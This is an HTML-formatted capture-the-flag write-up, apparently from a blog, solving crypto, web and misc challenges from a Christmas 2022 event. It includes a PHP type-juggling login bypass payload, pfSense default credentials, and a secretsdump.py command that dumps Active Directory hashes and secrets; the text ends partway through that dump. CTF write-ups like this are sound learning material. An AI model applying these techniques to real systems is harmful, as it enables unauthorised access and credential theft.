&lt;center&gt;&lt;img src=&quot;/images/xmas22/sir.gif&quot; style=&quot;max-width:250px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;So, for the first challenge we got ourselves a little trivia, with a well-known meme as the challenge content. For those of us that are here for some time the connection of this meme with the infosec community is clear, some years ago (mid-2011) a hacker group raised to fame due to some &lt;em&gt;high profile attacks, including Sony Pictures’ internal database, CIA website and FBI’s contractor InfraGard among others&lt;/em&gt;. This hacker group is &lt;strong&gt;LulzSec&lt;/strong&gt; and their logo was based upon the &lt;em&gt;Feel Like a Sir&lt;/em&gt; meme.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LulzSec&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-great-hack-200-pts&quot;&gt;The Great Hack (200 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;How about ensuring that you are a guaranteed winner of a radio contest by controlling all the telephone lines?
Imagine, what a classy hack that would be. It took place in real world and the hacker won a costliest prize.
What was the costliest prize that the hacker won?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So we got ourselves a little riddle. Phreakers, &lt;em&gt;people who specialize in attacks on the telephone system&lt;/em&gt; were mostly popular in the mid-1980s. After some &lt;em&gt;googling&lt;/em&gt; we find several articles describing such attacks and well-known personalities that carried them. One of them is &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Kevin_Poulsen&quot;&gt;Kevin Poulsen (Dark Dante)&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;On June 1, 1990, Poulsen took over all of the telephone lines for Los Angeles radio station KIIS-FM, guaranteeing that he would be the 102nd caller and win the prize of a Porsche 944 S2.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Porsche 944 S2&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;crypto&quot;&gt;Crypto&lt;/h2&gt;

&lt;h3 id=&quot;mmmm-donuts-100-pts&quot;&gt;Mmmm… Donuts… (100 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Donuts are the best breakfast food! There is a donut flavor for everyone’s taste, they pair great with coffee, and they can be eaten on the go! The key to solve this challenge is the most important meal of the day. If one donut doesn’t help, try having another. You better solve it fast before you get diabetes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;PS: My favorite donut is the original, just glazed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;center&gt;&lt;img src=&quot;/images/xmas22/Screenshot_1.png&quot; style=&quot;max-width:550px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;So, I spent a tremendous amount of time deciphering this one. After some trial and error, experimenting with every rare encryption system… It becomes more or less clear that we have to go back to the basics. The text suggests a lot around breakfast, and one thing missing is Bacon, so there may be a &lt;a href=&quot;https://en.wikipedia.org/wiki/Bacon%27s_cipher&quot;&gt;Baconian cipher&lt;/a&gt; somewhere… Taking a look at the example given on the Wikipedia page, it became clear:&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;/images/xmas22/bacon.png&quot; style=&quot;max-width:650px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;So, after converting the original message, we have the following:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AABABBAAAABABABABABBABBABABAAABAAAAAAAAAAABBAABABAAAABBABAAA&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And then decoding with the standard Bacon Cipher, we got &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FRXMOIUAGLDI&lt;/code&gt;. So this is not over yet! Another common cipher in CTF challenges is the &lt;a href=&quot;https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher&quot;&gt;Vigenère cipher&lt;/a&gt; that uses a key to decipher. By the text we could bruteforce each one of the nouns in order to break it, or simple use the one in spotlight, &lt;em&gt;breakfast&lt;/em&gt;. Using that as the key, we got ourselves the flag. You can check out the &lt;a href=&quot;https://gchq.github.io/CyberChef/#recipe=Bacon_Cipher_Decode(&apos;Standard%20(I%3DJ%20and%20U%3DV)&apos;,&apos;A/B&apos;,false)Vigen%C3%A8re_Decode(&apos;BREAKFAST&apos;)&amp;amp;input=QUFCQUJCQUFBQUJBQkFCQUJBQkJBQkJBQkFCQUFBQkFBQUFBQUFBQUFBQkJBQUJBQkFBQUFCQkFCQUFB&quot;&gt;CyberChef recipe here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;:  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EATMEDRINKME&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;lets-share-200-pts&quot;&gt;Lets Share! (200 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Encoding is the process of converting data from one format into another, typically for the purposes of efficient transmission or storage. There are many different types of encoding schemes that can be used, depending on the specific requirements of the data and the intended use. Encoding is an important aspect of data management and is used in a variety of applications, including networking, data storage, and multimedia.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And we got a text file with the following content:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;JTI2JTIzOTAlM0IlMjYlMjMxMDklM0IlMjYlMjMxMjAlM0IlMjYlMjMxMDQlM0IlMjYlMjM5MCUzQiUyNiUyMzUxJTNCJTI2JTIzMTE2JTNCJTI2JTIzMTA1JTNCJTI2JTIzNzclM0IlMjYlMjM3MSUzQiUyNiUyMzExOSUzQiUyNiUyMzExOSUzQiUyNiUyMzg4JTNCJTI2JTIzNTElM0IlMjYlMjM3MyUzQiUyNiUyMzEyMiUzQiUyNiUyMzc3JTNCJTI2JTIzODYlM0IlMjYlMjM1NyUzQiUyNiUyMzcxJTNCJTI2JTIzODYlM0IlMjYlMjM3MCUzQiUyNiUyMzEwMCUzQiUyNiUyMzU3JTNC&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So this must be just random encoding on top of random encoding. Let’s go to CyberChef once more, and do:
(1) from base64, (2) URL decode, (3) from HTML entity, and lastly (4) from base64.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{b0l0_r31_FTW}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;web&quot;&gt;Web&lt;/h2&gt;

&lt;h3 id=&quot;the-folt-100-pts&quot;&gt;The Folt (100 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;pfSense is a free and open-source firewall and router software distribution based on the FreeBSD operating system. It is designed to provide a flexible and powerful platform for building and managing network infrastructure, and it includes a wide range of features and capabilities that are suitable for use in both small and large networks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Have a try &lt;a href=&quot;http://machine.example.com/&quot;&gt;http://machine.example.com/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;center&gt;&lt;img src=&quot;/images/xmas22/pfsense.png&quot; style=&quot;max-width:650px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;So we got ourselves a default pfSense landing page. First things first, let’s try default credentials, which are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pfsense&lt;/code&gt;. Trying those we got ourselves the quickest flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{Default?_More_Like_Badfault}&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;in-passwords-we-trust-and-in-php-we-believe-200-pts&quot;&gt;In Passwords, We Trust, and in PHP, We Believe! (200 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Great, another &lt;a href=&quot;https://santa.example.com/&quot;&gt;admin&lt;/a&gt; panel, do you think you can crack it?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And we got ourselves a little PHP:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;php&lt;/span&gt;
  &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;user = &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$_POST[&quot;username&quot;];&lt;/span&gt;
  &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;input = &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$_POST[&quot;password&quot;];&lt;/span&gt;
  &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;answer = &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;json_decode($input);&lt;/span&gt;

  &lt;span class=&quot;err&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;Random&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;chr&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;token&lt;/span&gt;
  &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;token = &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;base64_encode(bin2hex(random_bytes(16)));&lt;/span&gt;

  &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password = &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$answer-&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;password;

  if(($password == $token) and $user == &quot;admin&quot;) {
	  //Super Flag!
  } elseif(empty($user) &lt;span class=&quot;err&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; empty($password)) {
  	  echo &quot;&lt;span class=&quot;nt&quot;&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Login&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;&quot;;
  } elseif(empty($password)) {
  	echo &quot;&lt;span class=&quot;nt&quot;&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Error Encountered! Wrong Token!&lt;span class=&quot;nt&quot;&gt;&amp;lt;br&amp;gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;&quot;;
  	echo &quot;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Your token was: $token&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&quot;;
  } 
?&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the page generates a cookie-based token similar to this one:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NTUwMGIxMDdmMDMzMTYwYzZjZTEwMmMwOTU5NzVjOGI=&lt;/code&gt; that gives nothing useful when base64 decoded.&lt;/p&gt;

&lt;p&gt;So let’s look into the source &lt;em&gt;!&lt;/em&gt;  We can see that there is a loose comparison &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$password == $token&lt;/code&gt; which means that we are most probably looking at a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Type Juggling&lt;/code&gt; vulnerability, i.e., &lt;em&gt;During the comparison of variables of different types, PHP will first convert them to a common, comparable type.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;However, the most strange thing is that you cannot simply pass a string to the password field, but instead a valid JSON with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;password&lt;/code&gt; key, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$password = $answer-&amp;gt;password;&lt;/code&gt;. But why? This was very random indeed.&lt;/p&gt;

&lt;p&gt;Nonetheless, after finding out the issue, we could pass the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{&quot;password&quot;:0}&lt;/code&gt; as the password in the login form, and when the comparison with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$token&lt;/code&gt; happens, it will be true given that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(0 == “STRING”) -&amp;gt; True (+)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{OnceAgainTypeJuggling}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;misc&quot;&gt;Misc&lt;/h2&gt;

&lt;h3 id=&quot;black-hole-100-pts&quot;&gt;Black Hole (100 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;An &lt;strong&gt;exception&lt;/strong&gt; is an abnormal event or error that occurs during the execution of a program. Exceptions are typically used to handle unexpected or exceptional conditions, such as runtime errors or input-output errors. When an exception occurs, it is typically represented as an object that is thrown, and it can be caught and handled by the program using a try-catch block.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Attachment: l33t.rar&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So now we have a RAR file, and some ramblings about exceptions. As expected, the RAR is password protected. Looking at the strings that we have:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;strings l33t.rar 
Rar!
CMTPython 3.7.3
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; 
Traceback &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;most recent call last&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:
  File &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;pyshell#4&amp;gt;&quot;&lt;/span&gt;, line 1, &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &amp;lt;module&amp;gt;
    
ZeroDivisionError: 
 &amp;lt;- Password 
flag.txt0
90|ua
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we have a random Python snippet somewhere in the file with a mention to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;- Password&lt;/code&gt;, &lt;em&gt;wut?&lt;/em&gt; … We also have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ZeroDivisionError&lt;/code&gt;, so maybe that’s why the ramblings about exceptions &lt;em&gt;!&lt;/em&gt; Let’s recreate the exception in python:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Python&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;3.10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mar&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2023&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GCC&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;11.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;linux&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;help&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;copyright&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;credits&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;license&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;more&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;information&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Traceback&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;most&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;recent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;File&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;stdin&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;ZeroDivisionError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;division&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zero&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;division by zero&lt;/code&gt; message as the password for the RAR file, we got ourselves a txt file with the flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{l0vef@rf4t0h}&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;a-programming-language-200-pts&quot;&gt;A Programming Language (200 pts)&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag←48 55 45 52 73 53 0 67 63 4 59 5 73 24 69 9 62 15 64 76 43 16 78 73 18 96 ⊢WTF←⎕UCS{⍵-¨10-⍨⍳≢⍵}+flag+2⊥¯3⌽1 0 1 1 0 1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;So we got ourselves a little APL dark magic. I smelled this from afar due to its usage in &lt;a href=&quot;https://en.wikipedia.org/wiki/Code_golf&quot;&gt;&lt;em&gt;CodeGolf&lt;/em&gt;&lt;/a&gt;. The code was missing a newline, but apart from that it was just copy and paste in an &lt;a href=&quot;https://tryapl.org/&quot;&gt;online interpreter&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-apl&quot;&gt;TryAPL Version 3.6.1 (enter ]State for details)
Tue Apr 11 2023 17:41:13
Copyright (c) Dyalog Limited 1982-2023
      flag←48 55 45 52 73 53 0 67 63 4 59 5 73 24 69 9 62 15 64 76 43 16 78 73 18 96 
      ⊢WTF←⎕UCS{⍵-¨10-⍨⍳≢⍵}+flag+2⊥¯3⌽1 0 1 1 0 1
flag{f0rm1g0sAm0d4doM1nh0}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{f0rm1g0sAm0d4doM1nh0}&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;find-the-typo-300-pts&quot;&gt;Find The Typo (300 pts)&lt;/h3&gt;

&lt;center&gt;&lt;img src=&quot;/images/xmas22/nanogram.png&quot; style=&quot;max-width:450px&quot; /&gt;&lt;/center&gt;

&lt;blockquote&gt;
  &lt;p&gt;Attachment: flag.zip&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So we have another &lt;em&gt;random&lt;/em&gt; one! Also, it was more easy than it should because I know someone that spends a &lt;strong&gt;&lt;em&gt;lot&lt;/em&gt;&lt;/strong&gt; of time playing this. This is Nonogram game (it is available on the Play Store). I did not spend any time solving it manually, but going to an &lt;a href=&quot;https://fedimser.github.io/nonogram.html&quot;&gt;online solver&lt;/a&gt; was a breeze.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;/images/xmas22/solved.png&quot; style=&quot;max-width:450px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;And we got ourselves a Pacman, or pacman, or pac man, or… well, after some trial and error, and checking the correct name online, it was pac-man the password of the zip file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{bread_bread_cheese_cheese}&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;back-me-up-400-pts&quot;&gt;Back Me UP! (400 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Someone left backups of a Domain Controller in an open share. A portion was extracted from the backup and myth be told that it contains critical information (and a flag ;) ).
Can you get it?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Attachment: AD_backup.zip&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So we have a ZIP file with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;registry&lt;/code&gt; folder and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; file. Trying to solve this challenge in a Linux machine (since my Windows VM refused to boot), I found out that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Impacket&lt;/code&gt; script collection has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secretsdump.py&lt;/code&gt; to dump sensitive info from registry file.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;secretsdump.py &lt;span class=&quot;nt&quot;&gt;-ntds&lt;/span&gt; ~/Projects/oposec-christmas-22/Active&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Directory/ntds.dit  &lt;span class=&quot;nt&quot;&gt;-system&lt;/span&gt; ~/Projects/oposec-christmas-22/registry/SYSTEM &lt;span class=&quot;nt&quot;&gt;-security&lt;/span&gt; ~/Projects/oposec-christmas-22/registry/SECURITY &lt;span class=&quot;nb&quot;&gt;local
&lt;/span&gt;Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Target system bootKey: 0x5fb07a625512cd828efd1eb75ab24c1c
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Dumping cached domain logon information &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;domain/username:hash&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Dumping LSA Secrets
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$MACHINE&lt;/span&gt;.ACC 
&lt;span class=&quot;nv&quot;&gt;$MACHINE&lt;/span&gt;.ACC:plain_password_hex:4f790a53e86a5b4498a70b18eb3fec2c27cd40ad444a88808ea02fc2bdc88a507c1dd9fa04d86ae44be8641adb0cc46ad6fcadd1dedf04903b3be9c792b0d368a59e57a1616c2548fdabe842665c6c0b8d31dbf0a24cd3d4887e334e95ea051481c41a15ed7abf849cf9ae7361f30913cbf92e0e31d205bf1943b09181d4c8373884c3ce1cd311b5bcc35dbb3d810689170abdc0386ffd62ef663b2b7dd9b97c417753bddef4e11142a49049b75939d0db71b7f0e0c17ec5305a680fd6de4d769d060679668859e3ec3d5139a980371d5d4e0fca5ae7a2a28f185c76cd42e12ab994b4aa0547f547d71394577d382457
&lt;span class=&quot;nv&quot;&gt;$MACHINE&lt;/span&gt;.ACC: aad3b435b51404eeaad3b435b51404ee:870dc1dcd1b50a8f04472485c3e445c1
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; DefaultPassword 
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Unknown User&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:ROOT#123
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; DPAPI_SYSTEM 
dpapi_machinekey:0x63d8fb27d7efe53e156719dc2e8dce0aad846543
dpapi_userkey:0x48a4390382dc50a00c7244cf23a3567a002b4e2d
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; NL&lt;span class=&quot;nv&quot;&gt;$KM&lt;/span&gt; 
 0000   1D 05 A6 71 87 FE 0C 45  DC 84 3F DD BB 18 ED C9   ...q...E..?.....
 0010   3E 83 1E E4 01 CB 1F 55  8A C1 C9 AA D0 57 0E D9   &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;......U.....W..
 0020   1B EB A1 25 99 6F D0 D0  D8 DF 5B 6D 56 23 F9 8E   ...%.o....[mV#..
 0030   F5 40 C5 06 F0 E6 46 B1  2C 93 76 DE 0F 58 00 B8   .@....F.,.v..X..
NL&lt;span class=&quot;nv&quot;&gt;$KM&lt;/span&gt;:1d05a67187fe0c45dc843fddbb18edc93e831ee401cb1f558ac1c9aad0570ed91beba125996fd0d0d8df5b6d5623f98ef540c506f0e646b12c9376de0f5800b8
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Dumping Domain Credentials &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;domain&lt;span class=&quot;se&quot;&gt;\u&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;:rid:lmhash:nthash&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Searching &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;pekList, be patient
